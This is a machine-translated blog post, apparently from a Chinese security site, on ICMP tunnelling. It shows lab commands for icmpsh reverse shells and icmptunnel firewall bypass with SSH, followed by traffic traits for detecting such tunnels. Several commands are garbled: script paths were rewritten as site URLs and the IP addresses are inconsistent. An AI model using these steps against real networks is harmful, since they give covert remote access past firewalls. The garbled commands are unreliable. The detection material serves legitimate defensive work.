ICMP tunnel traffic characteristics

0 22
ICMP protocolIntroduction to ICMP protocol ICMP is the abbreviation for 'Interne...

ICMP protocol

Introduction to ICMP protocol ICMP is the abbreviation for 'Internet Control Message Protocol' (Internet Control Message Protocol). It is a sub-protocol of the TCP/IP protocol suite, used for transmitting control messages between IP hosts and routers. Control messages refer to messages about the network itself, such as whether the network is reachable, whether the host is accessible, and whether the route is available.

ICMP tunnel traffic characteristics

Normal ICMP traffic

1696658997_6520f635eada32ef0c364.png!small?1696658998558

ICMP tunnel tools

In some network environments, attackers may use the ping command to access remote computers, try to establish an ICMP tunnel, encapsulate TCP/UDP data into ICMP ping packets, and thus pass through firewalls to achieve unrestricted network access.

Typical tools:

icmpsh

powershell icmp

icmptunnel

ptunnel

ICMP tunnel tool - icmpsh

icmpsh tool is simple to use, a cross-platform tool that does not require administrator privileges to run.

icmpsh download address:

https://github.com/inquisb/icmpsh

Environment:

Attacker/C2 channel: 192.168.159.185 (Kali Linux)

Host machine: 192.168.159.158 (Windows 7)

Run icmpsh in master mode (Kali Linux)

Disable ping reply to prevent the kernel from responding to ping packets itself

sysctl -w net.ipv4.icmp_echo_ignore_all=1

https://www.freebuf.com/articles/system/icmpsh_m.py 192.168.1.185 192.168.1.158

Then execute the command on Win7:

icmpsh.exe -t 192.168.217.185

Successfully反弹shell to kali

1696659268_6520f7440668eed360b61.png!small?1696659268408

ICMP tunnel tool - icmptunnel

icmptunnel is a tunnel tool that encapsulates IP traffic into ICMP echo request and reply (ping) packets, which is a semi-hidden way to expand in networks that allow ping and bypass firewalls.

Download address:

https://github.com/jamesbarlow/icmptunnel

Attacker: 192.168.159.169

Target machine: 192.168.159.184

Attacker and target machine execute

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all # Disable icmp reply

Attacker executes

https://www.freebuf.com/articles/system/icmptunnel -s # Listen

Open a new command line window

Add tun0 network interface and allocate tunnel address 10.0.0.1/24 # Add tun0 network interface and assign tunnel address 10.0.0.1/24

1696659518_6520f83e4bd87aa077e04.png!small?1696659518681

Target machine execution

https://www.freebuf.com/articles/system/icmptunnel 192.168.159.169  # Connect to the server

Open a new command line window

ifconfig tun0 10.0.0.2 netmask 255.255.255.0        # Add tun0 network interface, assign tunnel address 10.0.0.2/24

1696659527_6520f8471de361d4b5709.png!small?1696659527609

Establish an ssh connection on the attack machine

ssh root@10.0.0.2

1696659534_6520f84e2066a41e5b90c.png!small?1696659534723

Successful connection.

ICMP tunnel traffic characteristics

The total number of data packets in the ICMP session is large.

1696659652_6520f8c4da7697f93d91d.png!small?1696659653439

The amount of data transmitted in a single packet in the tunnel is large.

1696659688_6520f8e87c04763c9c775.png!small?1696659688755

The request packet and response packet are inconsistent.

1696659720_6520f908c2b5fd3f1008c.png!small?1696659721312

1696659726_6520f90ef169b6e8f539a.png!small?1696659727525

Some tunnel tools will display the tun flag.

1696659752_6520f928b18f93d4f57f5.png!small?1696659753253

你可能想看:
最后修改时间:
admin
上一篇 2025年03月30日 02:35
下一篇 2025年03月30日 02:58

评论已关闭